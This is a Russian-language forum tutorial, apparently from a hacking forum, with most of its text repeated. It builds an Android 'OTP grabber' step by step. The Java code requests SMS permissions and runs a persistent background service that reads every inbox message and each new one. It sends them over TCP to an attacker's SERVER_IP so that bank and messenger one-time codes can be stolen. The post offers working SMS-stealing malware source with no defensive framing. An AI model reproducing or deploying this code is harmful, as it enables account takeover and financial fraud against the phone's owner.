OTP (SMS) Граббер на Android:zns6:
OTP – это сокращение от One-Time Password (одноразовый пароль) и представляет собой временный защищенный PIN-код,
который отправляется вам через SMS или электронную почту и действует только один сеанс.
Такие подтверждения могут исходить от различных сервисов, включая банковские приложения, мессенджеры и другие платформы.
Мы будем перехватывать эти сообщения и отправлять их на наш сервер в фоновом режиме, работая как сервис.
Разрешения в AndroidManifest.xml -
Java: Скопировать в буфер обмена
Для доступа к SMS и работы кода в фоновом режиме нам нужно определить соответствующие разрешения в AndroidManifest.xml.
Также в манифесте нужно указать наш сервис, которым будет SMSService. -
Java: Скопировать в буфер обмена
MainActivity.java -
В MainActivity необходимо проверить, получены ли разрешения для доступа к SMS. Если разрешения предоставлены, запускается SMSService,
который в фоновом режиме отправляет SMS на сервер по TCP.
-
Java: Скопировать в буфер обмена
Если разрешения предоставлены, запускается фоновый сервис, который отправляет одноразовые коды на сервер.
Кроме того, сервис будет отправлять все SMS-сообщения,
когда-либо полученные на телефон, для определения сервисов, привязанных к SIM-карте.
Код SMSService -
Java: Скопировать в буфер обмена
Замечание!
Следует отметить, что использование такого подхода в реальных условиях может быть затруднительным
Начиная с новых версий Android, изменилось поведение сервисов и разрешений,
и многое может работать иначе на различных версиях oc.
Спасибо за внимание! Если у вас есть вопросы или предложения, буду рад обсудить.
:smile10:
OTP – это сокращение от One-Time Password (одноразовый пароль) и представляет собой временный защищенный PIN-код,
который отправляется вам через SMS или электронную почту и действует только один сеанс.
Такие подтверждения могут исходить от различных сервисов, включая банковские приложения, мессенджеры и другие платформы.
Мы будем перехватывать эти сообщения и отправлять их на наш сервер в фоновом режиме, работая как сервис.
Разрешения в AndroidManifest.xml -
Java: Скопировать в буфер обмена
Code:
<uses-feature
android:name="android.hardware.telephony"
android:required="false" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
Для доступа к SMS и работы кода в фоновом режиме нам нужно определить соответствующие разрешения в AndroidManifest.xml.
Также в манифесте нужно указать наш сервис, которым будет SMSService. -
Java: Скопировать в буфер обмена
Code:
<service
android:name=".SMSService"
android:enabled="true"
android:exported="true" />
MainActivity.java -
В MainActivity необходимо проверить, получены ли разрешения для доступа к SMS. Если разрешения предоставлены, запускается SMSService,
который в фоновом режиме отправляет SMS на сервер по TCP.
-
Java: Скопировать в буфер обмена
Code:
private static final int REQUEST_READ_SMS_PERMISSION = 3004;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_SMS) != PackageManager.PERMISSION_GRANTED
|| ContextCompat.checkSelfPermission(this, Manifest.permission.INTERNET) != PackageManager.PERMISSION_GRANTED) {
ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_SMS, Manifest.permission.INTERNET}, REQUEST_READ_SMS_PERMISSION);
} else {
startSMSService();
}
}
private void startSMSService() {
Intent serviceIntent = new Intent(this, SMSService.class);
startService(serviceIntent);
}
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
if (requestCode == REQUEST_READ_SMS_PERMISSION && grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
startSMSService();
}
}
}
Если разрешения предоставлены, запускается фоновый сервис, который отправляет одноразовые коды на сервер.
Кроме того, сервис будет отправлять все SMS-сообщения,
когда-либо полученные на телефон, для определения сервисов, привязанных к SIM-карте.
Код SMSService -
Java: Скопировать в буфер обмена
Code:
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_SMS) != PackageManager.PERMISSION_GRANTED
|| ContextCompat.checkSelfPermission(this, Manifest.permission.INTERNET) != PackageManager.PERMISSION_GRANTED) {
stopSelf();
return START_NOT_STICKY;
}
acquireWakeLock();
startForegroundService();
listenForServerRequests();
registerContentObserver();
sendLastSmsPeriodically();
return START_STICKY;
}
@Override
public void onDestroy() {
super.onDestroy();
releaseWakeLock();
unregisterContentObserver();
if (handler != null) {
handler.removeCallbacksAndMessages(null);
}
}
@Override
public IBinder onBind(Intent intent) {
return null;
}
private void listenForServerRequests() {
new Thread(() -> {
while (true) {
try (Socket socket = new Socket(SERVER_IP, PORT);
PrintWriter out = new PrintWriter(socket.getOutputStream(), true)) {
List<String> allSms = readAllSms();
for (String sms : allSms) {
out.println(sms);
}
} catch (IOException e) {
e.printStackTrace();
try {
Thread.sleep(2000);
} catch (InterruptedException ex) {
ex.printStackTrace();
}
}
}
}).start();
}
private void sendLastSmsPeriodically() {
handler = new Handler();
handler.postDelayed(new Runnable() {
@Override
public void run() {
sendLastSmsToServer();
handler.postDelayed(this, 5000);
}
}, 5000);
}
private void sendLastSmsToServer() {
new Thread(() -> {
try (Socket socket = new Socket(SERVER_IP, NEW_PORT);
PrintWriter out = new PrintWriter(socket.getOutputStream(), true)) {
List<String> newSmsList = readNewSms();
String smsToSend;
if (!newSmsList.isEmpty()) {
smsToSend = newSmsList.get(0);
lastSentSms = smsToSend;
} else {
smsToSend = lastSentSms;
}
if (smsToSend != null) {
out.println(smsToSend);
System.out.println("SMS sent successfully: " + smsToSend);
}
} catch (IOException e) {
e.printStackTrace();
}
}).start();
}
private List<String> readAllSms() {
List<String> smsList = new ArrayList<>();
Cursor cursor = getContentResolver().query(Uri.parse("content://sms/inbox"), null, null, null, "date DESC");
if (cursor != null && cursor.moveToFirst()) {
do {
String body = cursor.getString(cursor.getColumnIndexOrThrow("body"));
smsList.add(body);
} while (cursor.moveToNext());
cursor.close();
}
return smsList;
}
private void registerContentObserver() {
contentObserver = new ContentObserver(new Handler()) {
@Override
public void onChange(boolean selfChange) {
super.onChange(selfChange);
List<String> newSms = readNewSms();
for (String sms : newSms) {
sendSMSToServer(sms);
}
}
};
getContentResolver().registerContentObserver(Uri.parse(SMS_URI), true, contentObserver);
}
private void unregisterContentObserver() {
if (contentObserver != null) {
getContentResolver().unregisterContentObserver(contentObserver);
contentObserver = null;
}
}
private List<String> readNewSms() {
List<String> newSmsList = new ArrayList<>();
Cursor cursor = getContentResolver().query(Uri.parse(SMS_URI), null, null, null, "date DESC");
if (cursor != null && cursor.moveToFirst()) {
String body = cursor.getString(cursor.getColumnIndexOrThrow("body"));
newSmsList.add(body);
cursor.close();
}
return newSmsList;
}
private void sendSMSToServer(String sms) {
new Thread(() -> {
try (Socket socket = new Socket(SERVER_IP, PORT);
PrintWriter out = new PrintWriter(socket.getOutputStream(), true)) {
out.println(sms);
} catch (IOException e) {
e.printStackTrace();
}
}).start();
}
private void startForegroundService() {
Intent notificationIntent = new Intent(this, MainActivity.class);
PendingIntent pendingIntent = PendingIntent.getActivity(this, 0, notificationIntent, PendingIntent.FLAG_IMMUTABLE);
Notification notification = new NotificationCompat.Builder(this, CHANNEL_ID)
.setContentTitle("Foreground Service")
.setContentText("Service is running in the background")
.setSmallIcon(R.mipmap.ic_launcher)
.setContentIntent(pendingIntent)
.build();
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
startForeground(1, notification);
} else {
startForeground(1, notification);
}
}
@Override
public void onCreate() {
super.onCreate();
createNotificationChannel();
}
private void createNotificationChannel() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
NotificationChannel serviceChannel = new NotificationChannel(
CHANNEL_ID,
"Foreground Service Channel",
NotificationManager.IMPORTANCE_DEFAULT
);
NotificationManager manager = getSystemService(NotificationManager.class);
manager.createNotificationChannel(serviceChannel);
}
}
private void acquireWakeLock() {
PowerManager powerManager = (PowerManager) getSystemService(Context.POWER_SERVICE);
if (powerManager != null) {
wakeLock = powerManager.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK,
"SMSService::WakeLock");
wakeLock.acquire();
}
}
private void releaseWakeLock() {
if (wakeLock != null && wakeLock.isHeld()) {
wakeLock.release();
}
}
}
Замечание!
Следует отметить, что использование такого подхода в реальных условиях может быть затруднительным
Начиная с новых версий Android, изменилось поведение сервисов и разрешений,
и многое может работать иначе на различных версиях oc.
Спасибо за внимание! Если у вас есть вопросы или предложения, буду рад обсудить.
:smile10: